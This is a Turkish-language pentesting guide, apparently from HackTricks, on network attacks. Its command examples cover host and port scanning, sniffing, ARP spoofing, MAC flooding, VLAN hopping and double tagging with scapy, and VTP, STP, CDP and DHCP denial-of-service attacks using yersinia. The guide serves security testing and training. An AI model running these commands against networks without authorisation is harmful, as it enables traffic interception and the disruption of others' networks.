Pentesting Network
Reading time: 35 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Dışarıdan hostları keşfetmek
Bu, İnternet üzerinden yanıt veren IP'leri bulma hakkında kısa bir bölüm olacak.
Bu durumda bazı IP kapsamlarınız (belki de birkaç aralık) var ve sadece hangi IP'lerin yanıt verdiğini bulmanız gerekiyor.
ICMP
Bu, bir hostun açık olup olmadığını keşfetmenin en kolay ve en hızlı yoludur.
Bazı ICMP paketleri göndermeyi deneyebilir ve yanıt bekleyebilirsiniz. En kolay yol, sadece bir echo request göndermek ve yanıtı beklemektir. Bunu basit bir ping
kullanarak veya aralıklar için fping
kullanarak yapabilirsiniz.
Ayrıca, diğer tür ICMP paketleri göndermek için nmap kullanabilirsiniz (bu, yaygın ICMP echo request-response filtrelerini atlatacaktır).
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
TCP Port Discovery
Her türlü ICMP paketinin filtrelendiğini bulmak çok yaygındır. O zaman, bir hostun açık olup olmadığını kontrol etmek için yapabileceğiniz tek şey açık portları bulmaya çalışmaktır. Her hostun 65535 portu vardır, bu nedenle "büyük" bir kapsamınız varsa, her hostun her portunun açık olup olmadığını test edemezsiniz, bu çok fazla zaman alır.
O zaman, ihtiyacınız olan şey hızlı bir port tarayıcısı (masscan) ve en çok kullanılan portların bir listesidir:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
nmap
ile bu adımı da gerçekleştirebilirsiniz, ancak daha yavaştır ve nmap
'in aktif hostları tanımlamada bazı sorunları vardır.
HTTP Port Keşfi
Bu, HTTP hizmetlerini keşfetmeye odaklanmak istediğinizde faydalı olan bir TCP port keşfidir:
masscan -p80,443,8000-8100,8443 199.66.11.0/24
UDP Port Discovery
Ayrıca, bir host'a daha fazla dikkat edip etmeyeceğinizi belirlemek için bazı UDP portlarının açık olup olmadığını kontrol etmeyi deneyebilirsiniz. UDP hizmetleri genellikle boş bir UDP prob paketine hiçbir veri ile yanıt vermediğinden, bir portun filtrelenip filtrelenmediğini veya açık olup olmadığını söylemek zordur. Bunu belirlemenin en kolay yolu, çalışan hizmetle ilgili bir paket göndermektir ve hangi hizmetin çalıştığını bilmediğiniz için, port numarasına dayalı olarak en olası olanı denemelisiniz:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
Önceden önerilen nmap satırı, /24 aralığındaki her hostta en iyi 1000 UDP portunu test edecektir, ancak bu bile >20dk sürecektir. En hızlı sonuçlar gerekiyorsa udp-proto-scanner kullanabilirsiniz: ./udp-proto-scanner.pl 199.66.11.53/24
Bu, bu UDP probelerini beklenen portlarına gönderecektir (bir /24 aralığı için bu sadece 1 dakika alacaktır): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
SCTP Port Keşfi
#Probably useless, but it's pretty fast, why not try it?
nmap -T4 -sY -n --open -Pn <IP/range>
Pentesting Wifi
Burada yazıldığı dönemdeki tüm bilinen Wifi saldırılarının güzel bir kılavuzunu bulabilirsiniz:
İçeriden hostları keşfetmek
Ağ içindeyseniz, yapmanız gereken ilk şeylerden biri diğer hostları keşfetmek olacaktır. Ne kadar gürültü yapabileceğinize/istemediğinize bağlı olarak, farklı eylemler gerçekleştirilebilir:
Pasif
Bağlı bir ağ içindeki hostları pasif olarak keşfetmek için bu araçları kullanabilirsiniz:
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
Aktif
Dışarıdan hostları keşfetme ile ilgili yorumlanan tekniklerin Discovering hosts from the outside (TCP/HTTP/UDP/SCTP Port Discovery) burada da uygulanabilir.
Ancak, diğer hostlarla aynı ağda olduğunuz için daha fazla şey yapabilirsiniz:
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
Aktif ICMP
Dışarıdan hostları keşfetme (ICMP](#icmp)) bölümünde bahsedilen tekniklerin burada da uygulanabileceğini unutmayın.
Ancak, diğer hostlarla aynı ağda olduğunuz için daha fazla şey yapabilirsiniz:
- Eğer bir alt ağ yayın adresine ping atarsanız, ping her hosta ulaşmalı ve onlar da size yanıt verebilir:
ping -b 10.10.5.255
- Ağ yayın adresine ping atarak diğer alt ağlar içindeki hostları bile bulabilirsiniz:
ping -b 255.255.255.255
- Host keşfi yapmak için
nmap
'in-PE
,-PP
,-PM
bayraklarını kullanarak sırasıyla ICMPv4 echo, zaman damgası ve alt ağ maskesi istekleri gönderin:nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lan, bilgisayarları bir ağ mesajı aracılığıyla açmak için kullanılır. Bilgisayarı açmak için kullanılan sihirli paket, yalnızca bir MAC Dst sağlanan ve ardından aynı paket içinde 16 kez tekrarlanan bir pakettir.
Bu tür paketler genellikle ethernet 0x0842 veya UDP paketi ile port 9'a gönderilir.
Eğer hiçbir [MAC] sağlanmazsa, paket yayın ethernet'e gönderilir (ve yayın MAC tekrarlanan olacaktır).
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
Hedefleri Tarama
Derinlemesine taramak istediğiniz tüm IP'leri (harici veya dahili) keşfettikten sonra, farklı eylemler gerçekleştirilebilir.
TCP
- Açık port: SYN --> SYN/ACK --> RST
- Kapalı port: SYN --> RST/ACK
- Filtrelenmiş port: SYN --> [YANIT YOK]
- Filtrelenmiş port: SYN --> ICMP mesajı
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
Bir UDP portunu taramak için 2 seçenek vardır:
- Kapalı ise bir UDP paketi gönderin ve ICMP ulaşılamaz yanıtını kontrol edin (birçok durumda ICMP filtrelenebilir, bu nedenle portun kapalı mı yoksa açık mı olduğuna dair herhangi bir bilgi almayacaksınız).
- Bir hizmetten (örneğin, DNS, DHCP, TFTP ve nmap-payloads 'da listelenen diğerleri) yanıt almak için formatlanmış datagramlar gönderin. Eğer bir yanıt alırsanız, o zaman port açık demektir.
Nmap, "-sV" kullanarak her iki seçeneği de karıştıracaktır (UDP taramaları çok yavaştır), ancak UDP taramalarının TCP taramalarından daha yavaş olduğunu unutmayın:
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
SCTP Tarama
SCTP (Stream Control Transmission Protocol), TCP (Transmission Control Protocol) ve UDP (User Datagram Protocol) ile birlikte kullanılmak üzere tasarlanmıştır. Ana amacı, IP ağları üzerinden telefon verilerinin taşınmasını kolaylaştırmak ve Signaling System 7 (SS7)'de bulunan birçok güvenilirlik özelliğini yansıtmaktır. SCTP, SS7 sinyallerini IP ağları üzerinden taşımayı amaçlayan SIGTRAN protokol ailesinin temel bir bileşenidir.
SCTP desteği, IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS ve VxWorks gibi çeşitli işletim sistemleri tarafından sağlanmakta olup, telekomünikasyon ve ağ alanındaki geniş kabulünü ve faydasını göstermektedir.
nmap tarafından sunulan iki farklı SCTP taraması: -sY ve -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
IDS ve IPS kaçışı
Daha fazla nmap seçeneği
Dahili IP Adreslerini Açığa Çıkarma
Yanlış yapılandırılmış yönlendiriciler, güvenlik duvarları ve ağ cihazları bazen kamusal olmayan kaynak adresleri kullanarak ağ sorgularına yanıt verir. tcpdump, test sırasında özel adreslerden alınan paketleri tanımlamak için kullanılabilir. Özellikle, Kali Linux'ta, paketler eth2 arayüzünde yakalanabilir; bu arayüz kamu Internet'inden erişilebilir. Kurulumunuzun bir NAT veya Güvenlik Duvarı arkasında olduğunu belirtmek önemlidir; bu tür paketlerin muhtemelen filtrelenecektir.
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing
Sniffing ile, yakalanan çerçeveleri ve paketleri inceleyerek IP aralıkları, alt ağ boyutları, MAC adresleri ve ana bilgisayar adları hakkında ayrıntılar öğrenebilirsiniz. Ağ yanlış yapılandırılmışsa veya anahtarlama yapısı stres altındaysa, saldırganlar pasif ağ sniffing ile hassas materyalleri yakalayabilir.
Eğer bir anahtarlı Ethernet ağı düzgün yapılandırılmışsa, yalnızca yayın çerçevelerini ve MAC adresinize yönelik materyalleri göreceksiniz.
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
Birisi, ayrıca, Wireshark'ı GUI olarak kullanarak bir SSH oturumu üzerinden uzaktaki bir makineden paketleri gerçek zamanlı olarak yakalayabilir.
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
Açıkça.
Kimlik bilgilerini yakalama
Bir pcap veya canlı bir arayüzden kimlik bilgilerini ayrıştırmak için https://github.com/lgandx/PCredz gibi araçlar kullanabilirsiniz.
LAN saldırıları
ARP sahtekarlığı
ARP Sahtekarlığı, bir makinenin IP'sinin cihazımızın MAC'ine sahip olduğunu belirtmek için gereksiz ARP Yanıtları göndermeyi içerir. Ardından, kurban ARP tablosunu değiştirecek ve IP sahtekarlığı yapmak istediğinde her seferinde cihazımıza başvuracaktır.
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
MAC Flooding - CAM taşması
Anahtarın CAM tablosunu farklı kaynak MAC adresleriyle birçok paket göndererek taşır. CAM tablosu dolduğunda, anahtar bir hub gibi davranmaya başlar (tüm trafiği yayarak).
macof -i <interface>
Bu modern anahtarlar için bu güvenlik açığı düzeltilmiştir.
802.1Q VLAN / DTP Saldırıları
Dinamik Trunking
Dinamik Trunking Protokolü (DTP), trunking için otomatik bir sistem sağlamak amacıyla bir bağlantı katmanı protokolü olarak tasarlanmıştır ve anahtarların trunk modunu (Trunk) veya non-trunk modunu otomatik olarak seçmelerine olanak tanır. DTP'nin kullanımı genellikle suboptimal ağ tasarımının bir göstergesi olarak görülür ve yalnızca gerekli yerlerde trunk'ların manuel olarak yapılandırılmasının ve uygun belgelerin sağlanmasının önemini vurgular.
Varsayılan olarak, anahtar portları Dinamik Otomatik modda çalışacak şekilde ayarlanmıştır, bu da komşu bir anahtar tarafından tetiklendiğinde trunking başlatmaya hazır oldukları anlamına gelir. Bir pentester veya saldırgan anahtara bağlandığında ve bir DTP Desirable çerçevesi gönderdiğinde, bir güvenlik sorunu ortaya çıkar; bu, portun trunk moduna girmesine neden olur. Bu eylem, saldırgana STP çerçeve analizi yoluyla VLAN'ları listeleme ve sanal arayüzler kurarak VLAN segmentasyonunu aşma imkanı tanır.
Birçok anahtarda varsayılan olarak DTP'nin varlığı, düşmanlar tarafından bir anahtarın davranışını taklit etmek için istismar edilebilir ve böylece tüm VLAN'lar üzerindeki trafiğe erişim sağlanabilir. dtpscan.sh betiği, bir arayüzü izlemek için kullanılır ve bir anahtarın Varsayılan, Trunk, Dinamik, Otomatik veya Erişim modunda olup olmadığını ortaya koyar; sonuncusu VLAN hopping saldırılarına karşı tek koruma sağlayan yapılandırmadır. Bu araç, anahtarın güvenlik açığı durumunu değerlendirir.
Ağ güvenlik açığı tespit edilirse, Yersinia aracı DTP protokolü aracılığıyla "trunking'i etkinleştirmek" için kullanılabilir ve bu da tüm VLAN'lardan paketlerin gözlemlenmesine olanak tanır.
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
VLAN'ları listelemek için, DTPHijacking.py** scripti ile DTP Desirable çerçevesi oluşturmak da mümkündür. **Scripti herhangi bir koşulda durdurmayın. Her üç saniyede bir DTP Desirable enjekte eder. Anahtardaki dinamik olarak oluşturulan trunk kanalları yalnızca beş dakika boyunca aktiftir. Beş dakikadan sonra, trunk devre dışı kalır.
sudo python3 DTPHijacking.py --interface eth0
Access/Desirable (0x03), DTP çerçevesinin Arzu edilen türde olduğunu belirtir, bu da porta Trunk moduna geçmesini söyler. Ve 802.1Q/802.1Q (0xa5), 802.1Q kapsama türünü belirtir.
STP çerçevelerini analiz ederek, VLAN 30 ve VLAN 60'ın varlığı hakkında bilgi ediniriz.
Belirli VLAN'lara Saldırma
VLAN kimliklerini ve IP değerlerini bildiğinizde, belirli bir VLAN'a saldırmak için sanal bir arayüz yapılandırabilirsiniz.
Eğer DHCP mevcut değilse, o zaman ifconfig kullanarak statik bir IP adresi ayarlayın.
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
Otomatik VLAN Atlama
Tartışılan saldırı olan Dinamik Trunking ve sanal arayüzler oluşturma ile diğer VLAN'lar içindeki hostları keşfetme işlemleri, araç tarafından otomatik olarak gerçekleştirilir: https://github.com/nccgroup/vlan-hopping---frogger
Çift Etiketleme
Eğer bir saldırgan kurban hostun MAC, IP ve VLAN ID değerlerini biliyorsa, çerçeveyi kendi belirlenen VLAN'ı ve kurbanın VLAN'ını kullanarak çift etiketleme yapmayı deneyebilir ve bir paket gönderebilir. Kurban geri bağlanamayacağı için, saldırgan için en iyi seçenek UDP üzerinden iletişim kurmaktır; bu, bazı ilginç eylemler gerçekleştirebilen protokollerle (örneğin SNMP) iletişim kurmayı sağlar.
Saldırgan için bir diğer seçenek, saldırgan tarafından kontrol edilen ve kurban tarafından erişilebilen bir IP'yi taklit ederek TCP port taraması başlatmaktır (muhtemelen internet üzerinden). Ardından, saldırgan, kurbanın bazı paketler alıp almadığını görmek için kendisine ait ikinci hostta dinleme yapabilir.
Bu saldırıyı gerçekleştirmek için scapy kullanabilirsiniz: pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Lateral VLAN Segmentation Bypass
Eğer doğrudan bağlı olduğunuz bir anahtara erişiminiz varsa, ağ içinde VLAN segmentasyonunu atlama yeteneğine sahip olursunuz. Basitçe portu trunk moduna geçirin (diğer adıyla trunk), hedef VLAN'ların kimlikleri ile sanal arayüzler oluşturun ve bir IP adresi yapılandırın. Adresi dinamik olarak (DHCP) talep etmeyi deneyebilirsiniz veya statik olarak yapılandırabilirsiniz. Duruma bağlıdır.
Lateral VLAN Segmentation Bypass
Layer 3 Private VLAN Bypass
Misafir kablosuz ağlar gibi belirli ortamlarda, port izolasyonu (özel VLAN olarak da bilinir) ayarları, bir kablosuz erişim noktasına bağlı istemcilerin doğrudan birbirleriyle iletişim kurmasını önlemek için uygulanır. Ancak, bu izolasyon önlemlerini aşabilen bir teknik tanımlanmıştır. Bu teknik, ya ağ ACL'lerinin yokluğundan ya da yanlış yapılandırılmasından yararlanarak, IP paketlerinin bir yönlendirici üzerinden başka bir istemciye ulaşmasını sağlar.
Saldırı, hedef istemcinin IP adresini taşıyan ancak yönlendiricinin MAC adresi ile birlikte olan bir paket oluşturularak gerçekleştirilir. Bu, yönlendiricinin paketi yanlışlıkla hedef istemciye iletmesine neden olur. Bu yaklaşım, kurbanın erişebileceği bir ana bilgisayarı kontrol etme yeteneğinin güvenlik açığını istismar etmek için kullanıldığı Double Tagging Saldırıları ile benzerdir.
Saldırının Ana Adımları:
- Bir Paket Oluşturma: Hedef istemcinin IP adresini içeren ancak yönlendiricinin MAC adresi ile birlikte özel olarak hazırlanmış bir paket oluşturulur.
- Yönlendirici Davranışını İstismar Etme: Hazırlanan paket, yönlendiriciye gönderilir; yapılandırma nedeniyle, paket hedef istemciye yönlendirilir ve özel VLAN ayarları tarafından sağlanan izolasyonu aşar.
VTP Attacks
VTP (VLAN Trunking Protocol), VLAN yönetimini merkezileştirir. VLAN veritabanı bütünlüğünü korumak için revizyon numaralarını kullanır; herhangi bir değişiklik bu numarayı artırır. Anahtarlar, kendi VLAN veritabanlarını güncelleyerek daha yüksek revizyon numaralarına sahip yapılandırmaları benimser.
VTP Domain Roles
- VTP Sunucusu: VLAN'ları yönetir—oluşturur, siler, değiştirir. Alan üyelerine VTP duyuruları yayınlar.
- VTP İstemcisi: VLAN veritabanını senkronize etmek için VTP duyurularını alır. Bu rol, yerel VLAN yapılandırma değişikliklerinden kısıtlanmıştır.
- VTP Şeffaf: VTP güncellemelerine katılmaz ancak VTP duyurularını iletir. VTP saldırılarından etkilenmez, sıfır olan sabit bir revizyon numarasını korur.
VTP Advertisement Types
- Özet Duyurusu: VTP sunucusu tarafından her 300 saniyede bir yayınlanır ve temel alan bilgilerini taşır.
- Alt Küme Duyurusu: VLAN yapılandırma değişikliklerinden sonra gönderilir.
- Duyuru Talebi: Daha yüksek bir yapılandırma revizyon numarasını tespit etmesi durumunda, bir VTP istemcisi tarafından Özet Duyurusu talep etmek için verilir.
VTP zafiyetleri yalnızca trunk portları aracılığıyla istismar edilebilir, çünkü VTP duyuruları yalnızca bu portlar üzerinden dolaşır. DTP saldırı senaryolarından sonra VTP'ye geçiş yapılabilir. Yersinia gibi araçlar, VLAN veritabanını silmeyi hedefleyerek VTP saldırılarını kolaylaştırabilir ve ağı etkili bir şekilde kesintiye uğratabilir.
Not: Bu tartışma VTP sürüm 1 (VTPv1) ile ilgilidir.
%% yersinia -G # Launch Yersinia in graphical mode ```
```
Yersinia'nın grafik modunda, VLAN veritabanını temizlemek için tüm VTP VLAN'larını silme seçeneğini seçin.
### STP Saldırıları
**Eğer arayüzlerinizde BPDU çerçevelerini yakalayamazsanız, STP saldırısında başarılı olmanız pek olası değildir.**
#### **STP BPDU DoS**
Birçok BPDU TCP (Topoloji Değişikliği Bildirimi) veya Conf (topoloji oluşturulduğunda gönderilen BPDU'lar) gönderildiğinde, anahtarlar aşırı yüklenir ve düzgün çalışmayı durdurur.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
```
#### **STP TCP Saldırısı**
Bir TCP gönderildiğinde, anahtarların CAM tablosu 15 saniyede silinecektir. Ardından, bu tür paketleri sürekli olarak gönderiyorsanız, CAM tablosu sürekli olarak (veya her 15 saniyede bir) yeniden başlatılacak ve yeniden başlatıldığında, anahtar bir hub gibi davranacaktır.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
```
#### **STP Root Attack**
Saldırgan, bir anahtarın davranışını simüle ederek ağın STP kökü haline gelir. Ardından, daha fazla veri onun üzerinden geçecektir. Bu, iki farklı anahtara bağlı olduğunuzda ilginçtir.\
Bu, **öncelik** değerinin gerçek kök anahtarın gerçek önceliğinden daha az olduğunu söyleyen BPDUs CONF paketleri göndererek yapılır.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
```
**Eğer saldırgan 2 anahtara bağlıysa, yeni ağacın kökü olabilir ve bu anahtarlar arasındaki tüm trafik onun üzerinden geçecektir** (bir MITM saldırısı gerçekleştirilecektir).
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
```
### CDP Saldırıları
CISCO Discovery Protocol (CDP), CISCO cihazları arasında iletişim için gereklidir ve onların **birbirlerini tanımlayıp yapılandırma detaylarını paylaşmalarını** sağlar.
#### Pasif Veri Toplama <a href="#id-0e0f" id="id-0e0f"></a>
CDP, bilgileri tüm portlar üzerinden yayınlamak üzere yapılandırılmıştır, bu da bir güvenlik riski oluşturabilir. Bir saldırgan, bir anahtar portuna bağlandığında, **Wireshark**, **tcpdump** veya **Yersinia** gibi ağ dinleyicileri kullanabilir. Bu eylem, ağ cihazı hakkında model ve çalıştığı Cisco IOS sürümü gibi hassas verileri açığa çıkarabilir. Saldırgan, ardından belirlenen Cisco IOS sürümündeki belirli zafiyetleri hedef alabilir.
#### CDP Tablosu Taşması Sağlama <a href="#id-0d6a" id="id-0d6a"></a>
Daha agresif bir yaklaşım, anahtarın belleğini aşırı yükleyerek bir Hizmet Reddi (DoS) saldırısı başlatmaktır; bu, meşru CISCO cihazları gibi davranarak yapılır. Aşağıda, Yersinia kullanarak böyle bir saldırıyı başlatmak için gereken komut dizisi bulunmaktadır:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
```
Bu saldırı sırasında, anahtarın CPU'su ve CDP komşu tablosu ağır bir şekilde yüklenir, bu da genellikle aşırı kaynak tüketimi nedeniyle **“ağ felci”** olarak adlandırılır.
#### CDP Taklit Saldırısı
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
```
You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package.
### VoIP Saldırıları ve VoIP Hopper Aracı
VoIP telefonları, giderek IoT cihazlarıyla entegre hale gelerek, kapıları açma veya termostatları kontrol etme gibi işlevler sunar. Ancak, bu entegrasyon güvenlik riskleri oluşturabilir.
Aracı [**voiphopper**](http://voiphopper.sourceforge.net), çeşitli ortamlarda (Cisco, Avaya, Nortel, Alcatel-Lucent) bir VoIP telefonunu taklit etmek için tasarlanmıştır. Ses ağının VLAN kimliğini CDP, DHCP, LLDP-MED ve 802.1Q ARP gibi protokoller kullanarak keşfeder.
**VoIP Hopper**, Cisco Discovery Protocol (CDP) için üç mod sunar:
1. **Sniff Modu** (`-c 0`): VLAN kimliğini belirlemek için ağ paketlerini analiz eder.
2. **Spoof Modu** (`-c 1`): Gerçek bir VoIP cihazının paketlerini taklit eden özel paketler oluşturur.
3. **Önceden Yapılmış Paket ile Spoof Modu** (`-c 2`): Belirli bir Cisco IP telefon modeliyle aynı olan paketleri gönderir.
Hız için tercih edilen mod üçüncüsüdür. Şunları belirtmek gerekir:
- Saldırganın ağ arayüzü (`-i` parametresi).
- Taklit edilen VoIP cihazının adı (`-E` parametresi), Cisco adlandırma formatına (örneğin, SEP ardından bir MAC adresi) uygun olmalıdır.
Kurumsal ortamlarda, mevcut bir VoIP cihazını taklit etmek için şunlar yapılabilir:
- Telefonda MAC etiketini kontrol etmek.
- Telefonun ekran ayarlarını gezerek model bilgilerini görüntülemek.
- VoIP cihazını bir dizüstü bilgisayara bağlayarak Wireshark kullanarak CDP isteklerini gözlemlemek.
Üçüncü modda aracı çalıştırmak için bir örnek komut:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
```
### DHCP Saldırıları
#### Sayım
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
```
**DoS**
**İki tür DoS** DHCP sunucularına karşı gerçekleştirilebilir. Birincisi, **tüm olası IP adreslerini kullanmak için yeterince sahte host simüle etmektir**.\
Bu saldırı, DHCP sunucusunun yanıtlarını görebiliyorsanız ve protokolü tamamlayabiliyorsanız çalışacaktır (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Örneğin, bu **Wifi ağlarında mümkün değildir**.
DHCP DoS gerçekleştirmek için başka bir yol, **her olası IP'yi kaynak kodu olarak kullanarak bir DHCP-RELEASE paketi göndermektir**. Böylece, sunucu herkesin IP'yi kullanmayı bitirdiğini düşünecektir.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
```
Daha otomatik bir yol, aracı [DHCPing](https://github.com/kamorin/DHCPig) kullanmaktır.
